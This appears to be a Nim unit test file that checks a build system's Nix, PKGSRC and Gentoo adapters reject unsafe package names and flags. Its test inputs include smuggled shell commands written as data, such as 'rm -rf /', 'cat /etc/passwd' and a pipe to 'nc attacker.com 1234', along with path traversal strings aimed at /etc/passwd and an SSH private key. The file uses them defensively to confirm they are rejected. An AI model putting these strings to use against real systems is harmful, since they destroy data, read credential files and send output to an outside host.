## test_security.nim
## Security validation tests for build system

import std/[unittest, tables, os, strutils]
import ../src/nimpak/build/[types, nix_adapter, pkgsrc_adapter, gentoo_adapter]

suite "Security Validation Tests":

  test "Nix: Package name validation - valid names":
    let adapter = newNixAdapter()

    let validNames = @[
      "firefox",
      "nixpkgs.firefox",
      "my-package",
      "package_name",
      "package.with.dots",
      "Package123",
      "a",  # Single char
      "a" & "b".repeat(254)  # Max length (255)
    ]

    for name in validNames:
      let request = BuildRequest(
        packageName: name,
        version: "",
        variantFlags: initTable[string, seq[string]](),
        sourceFlags: @[],
        cacheDir: getTempDir(),
        verbose: false
      )

      let result = adapter.buildPackage(request)
      # Should not fail on validation
      if not result.success and result.errors.len > 0:
        check "Invalid package name" notin result.errors[0]

  test "Nix: Package name validation - invalid names":
    let adapter = newNixAdapter()

    let invalidNames = @[
      "",                      # Empty
      "../etc/passwd",         # Path traversal
      "/absolute/path",        # Absolute path
      "package;rm -rf /",      # Command injection
      "package`whoami`",       # Command substitution
      "package$(whoami)",      # Command substitution
      "package|cat",           # Pipe
      "package&background",    # Background
      "a" & "b".repeat(300)    # Too long (>255)
    ]

    for name in invalidNames:
      let request = BuildRequest(
        packageName: name,
        version: "",
        variantFlags: initTable[string, seq[string]](),
        sourceFlags: @[],
        cacheDir: getTempDir(),
        verbose: false
      )

      let result = adapter.buildPackage(request)
      check result.success == false
      check result.errors.len > 0

  test "Nix: Override key validation - valid keys":
    let adapter = newNixAdapter()

    let validFlags = @[
      "waylandSupport = true",
      "enable-feature = false",
      "with_option = true",
      "flag123 = true",
      "a = true"  # Single char
    ]

    let request = BuildRequest(
      packageName: "test",
      version: "",
      variantFlags: initTable[string, seq[string]](),
      sourceFlags: validFlags,
      cacheDir: getTempDir(),
      verbose: false
    )

    let result = adapter.buildPackage(request)
    # Should not fail on validation
    if not result.success and result.errors.len > 0:
      check "Invalid override key" notin result.errors[0]

  test "Nix: Override key validation - invalid keys":
    let adapter = newNixAdapter()

    let invalidKeys = @[
      "bad;key = true",        # Semicolon
      "bad`key = true",        # Backtick
      "bad$key = true",        # Dollar sign
      "bad key = true",        # Space
      "bad/key = true",        # Slash
      "bad\\key = true",       # Backslash
      "a" & "b".repeat(150) & " = true"  # Too long (>100)
    ]

    for flag in invalidKeys:
      let request = BuildRequest(
        packageName: "test",
        version: "",
        variantFlags: initTable[string, seq[string]](),
        sourceFlags: @[flag],
        cacheDir: getTempDir(),
        verbose: false
      )

      let result = adapter.buildPackage(request)
      check result.success == false

  test "PKGSRC: Package name validation":
    let adapter = newPkgsrcAdapter()

    # Valid names
    let validNames = @["bash", "firefox", "my-package"]
    for name in validNames:
      let request = BuildRequest(
        packageName: name,
        version: "",
        variantFlags: initTable[string, seq[string]](),
        sourceFlags: @[],
        cacheDir: getTempDir(),
        verbose: false
      )
      let result = adapter.buildPackage(request)
      if not result.success and result.errors.len > 0:
        check "Invalid package name" notin result.errors[0]

    # Invalid names
    let invalidNames = @["../etc/passwd", "/absolute", "bad;name"]
    for name in invalidNames:
      let request = BuildRequest(
        packageName: name,
        version: "",
        variantFlags: initTable[string, seq[string]](),
        sourceFlags: @[],
        cacheDir: getTempDir(),
        verbose: false
      )
      let result = adapter.buildPackage(request)
      check result.success == false

  test "PKGSRC: PKG_OPTIONS validation":
    let adapter = newPkgsrcAdapter()

    # Valid options
    let validOptions = @["wayland", "pulseaudio", "enable-feature"]
    let request1 = BuildRequest(
      packageName: "test",
      version: "",
      variantFlags: initTable[string, seq[string]](),
      sourceFlags: validOptions,
      cacheDir: getTempDir(),
      verbose: false
    )
    let result1 = adapter.buildPackage(request1)
    if not result1.success and result1.errors.len > 0:
      check "Invalid PKG_OPTIONS" notin result1.errors[0]

    # Invalid options
    let invalidOptions = @["bad;option", "bad`option", "bad$option"]
    for opt in invalidOptions:
      let request = BuildRequest(
        packageName: "test",
        version: "",
        variantFlags: initTable[string, seq[string]](),
        sourceFlags: @[opt],
        cacheDir: getTempDir(),
        verbose: false
      )
      let result = adapter.buildPackage(request)
      check result.success == false

  test "Gentoo: Package name validation":
    let adapter = newGentooAdapter()

    # Valid names (including category/package format)
    let validNames = @["bash", "app-editors/vim", "sys-apps/portage"]
    for name in validNames:
      let request = BuildRequest(
        packageName: name,
        version: "",
        variantFlags: initTable[string, seq[string]](),
        sourceFlags: @[],
        cacheDir: getTempDir(),
        verbose: false
      )
      let result = adapter.buildPackage(request)
      if not result.success and result.errors.len > 0:
        check "Invalid package name" notin result.errors[0]

    # Invalid names
    let invalidNames = @["../etc/passwd", "//absolute", "bad;name"]
    for name in invalidNames:
      let request = BuildRequest(
        packageName: name,
        version: "",
        variantFlags: initTable[string, seq[string]](),
        sourceFlags: @[],
        cacheDir: getTempDir(),
        verbose: false
      )
      let result = adapter.buildPackage(request)
      check result.success == false

  test "Gentoo: USE flag validation":
    let adapter = newGentooAdapter()

    # Valid USE flags (including +/- prefixes)
    let validFlags = @["wayland", "-gtk", "+qt5", "pulseaudio"]
    let request1 = BuildRequest(
      packageName: "test",
      version: "",
      variantFlags: initTable[string, seq[string]](),
      sourceFlags: validFlags,
      cacheDir: getTempDir(),
      verbose: false
    )
    let result1 = adapter.buildPackage(request1)
    if not result1.success and result1.errors.len > 0:
      check "Invalid USE flag" notin result1.errors[0]

    # Invalid USE flags
    let invalidFlags = @["bad;flag", "bad`flag", "bad$flag", "bad flag"]
    for flag in invalidFlags:
      let request = BuildRequest(
        packageName: "test",
        version: "",
        variantFlags: initTable[string, seq[string]](),
        sourceFlags: @[flag],
        cacheDir: getTempDir(),
        verbose: false
      )
      let result = adapter.buildPackage(request)
      check result.success == false

  test "Path traversal prevention - all adapters":
    let nixAdapter = newNixAdapter()
    let pkgsrcAdapter = newPkgsrcAdapter()
    let gentooAdapter = newGentooAdapter()

    let traversalAttempts = @[
      "../../../etc/passwd",
      "../../root/.ssh/id_rsa",
      "package/../../../etc",
      "./../../sensitive"
    ]

    for attempt in traversalAttempts:
      # Test Nix
      let nixReq = BuildRequest(
        packageName: attempt,
        version: "",
        variantFlags: initTable[string, seq[string]](),
        sourceFlags: @[],
        cacheDir: getTempDir(),
        verbose: false
      )
      check nixAdapter.buildPackage(nixReq).success == false

      # Test PKGSRC
      let pkgsrcReq = BuildRequest(
        packageName: attempt,
        version: "",
        variantFlags: initTable[string, seq[string]](),
        sourceFlags: @[],
        cacheDir: getTempDir(),
        verbose: false
      )
      check pkgsrcAdapter.buildPackage(pkgsrcReq).success == false

      # Test Gentoo
      let gentooReq = BuildRequest(
        packageName: attempt,
        version: "",
        variantFlags: initTable[string, seq[string]](),
        sourceFlags: @[],
        cacheDir: getTempDir(),
        verbose: false
      )
      check gentooAdapter.buildPackage(gentooReq).success == false

  test "Command injection prevention - shell escaping":
    let adapter = newNixAdapter()

    let injectionAttempts = @[
      "package; rm -rf /",
      "package && cat /etc/passwd",
      "package | nc attacker.com 1234",
      "package`whoami`",
      "package$(id)",
      "package & background_cmd"
    ]

    for attempt in injectionAttempts:
      let request = BuildRequest(
        packageName: attempt,
        version: "",
        variantFlags: initTable[string, seq[string]](),
        sourceFlags: @[],
        cacheDir: getTempDir(),
        verbose: false
      )

      let result = adapter.buildPackage(request)
      # Should be rejected by validation
      check result.success == false
      check result.errors.len > 0

  test "Length limits enforcement":
    let adapter = newNixAdapter()

    # Package name too long (>255)
    let longName = "a" & "b".repeat(300)
    let req1 = BuildRequest(
      packageName: longName,
      version: "",
      variantFlags: initTable[string, seq[string]](),
      sourceFlags: @[],
      cacheDir: getTempDir(),
      verbose: false
    )
    check adapter.buildPackage(req1).success == false

    # Override key too long (>100)
    let longKey = "a" & "b".repeat(150) & " = true"
    let req2 = BuildRequest(
      packageName: "test",
      version: "",
      variantFlags: initTable[string, seq[string]](),
      sourceFlags: @[longKey],
      cacheDir: getTempDir(),
      verbose: false
    )
    check adapter.buildPackage(req2).success == false

  test "Empty input rejection":
    let nixAdapter = newNixAdapter()
    let pkgsrcAdapter = newPkgsrcAdapter()
    let gentooAdapter = newGentooAdapter()

    # Empty package name
    let emptyReq = BuildRequest(
      packageName: "",
      version: "",
      variantFlags: initTable[string, seq[string]](),
      sourceFlags: @[],
      cacheDir: getTempDir(),
      verbose: false
    )

    check nixAdapter.buildPackage(emptyReq).success == false
    check pkgsrcAdapter.buildPackage(emptyReq).success == false
    check gentooAdapter.buildPackage(emptyReq).success == false
